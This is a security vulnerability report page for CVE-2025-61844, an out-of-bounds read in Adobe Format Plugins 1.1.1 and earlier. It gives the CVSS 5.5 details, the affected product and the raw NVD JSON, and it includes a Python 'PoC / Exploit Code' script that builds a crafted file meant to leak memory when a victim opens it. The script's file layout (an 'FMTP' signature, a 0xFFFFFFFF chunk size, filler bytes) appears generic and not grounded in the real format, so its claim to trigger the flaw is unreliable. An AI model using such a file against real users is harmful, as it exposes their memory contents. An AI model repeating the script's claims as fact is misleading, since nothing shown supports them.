Security Vulnerability Report
中文
CVE-2025-61844 CVSS 5.5 MEDIUM

CVE-2025-61844

Published: 2025-11-11 19:15:36
Last Modified: 2025-11-13 15:18:55

Description

Format Plugins versions 1.1.1 and earlier are affected by an Out-of-bounds Read vulnerability that could lead to memory exposure. An attacker could leverage this vulnerability to disclose sensitive information stored in memory. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:adobe:format_plugins:-:*:*:*:*:*:*:* - VULNERABLE
Adobe Format Plugins <= 1.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61844 PoC - Adobe Format Plugins Out-of-bounds Read # This PoC demonstrates the vulnerability in Format Plugins <= 1.1.1 # Usage: python cve_2025_61844_poc.py <output_malicious_file> import struct import sys def create_malicious_format_plugin_file(filename): """ Create a malicious file that triggers out-of-bounds read in Format Plugins. This PoC generates a specially crafted file format that causes the parser to read beyond allocated buffer boundaries, exposing memory contents. """ # File header with malicious structure header = b'FMTP' # Format Plugin signature # Malicious chunk size that triggers OOB read # Setting size to cause buffer overflow when parsed chunk_size = 0xFFFFFFFF # Extremely large size value # Crafted metadata that triggers boundary check bypass metadata = b'\x00' * 16 # Padding to trigger vulnerable code path # Malformed data section designed to trigger OOB read data_section = b'A' * 1024 # Overflow data # Construct the malicious file with open(filename, 'wb') as f: f.write(header) f.write(struct.pack('<I', chunk_size)) f.write(metadata) f.write(data_section) print(f"[+] Malicious file created: {filename}") print(f"[!] This file triggers out-of-bounds read in Format Plugins <= 1.1.1") print(f"[!] When opened, it may expose sensitive memory contents") if __name__ == '__main__': if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} <output_filename>") sys.exit(1) create_malicious_format_plugin_file(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61844", "sourceIdentifier": "[email protected]", "published": "2025-11-11T19:15:36.383", "lastModified": "2025-11-13T15:18:54.690", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Format Plugins versions 1.1.1 and earlier are affected by an Out-of-bounds Read vulnerability that could lead to memory exposure. An attacker could leverage this vulnerability to disclose sensitive information stored in memory. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:format_plugins:-:*:*:*:*:*:*:*", "matchCriteriaId": "9FE89744-A347-4449-8733-D54CA0E25723"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/formatplugins/apsb25-114.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}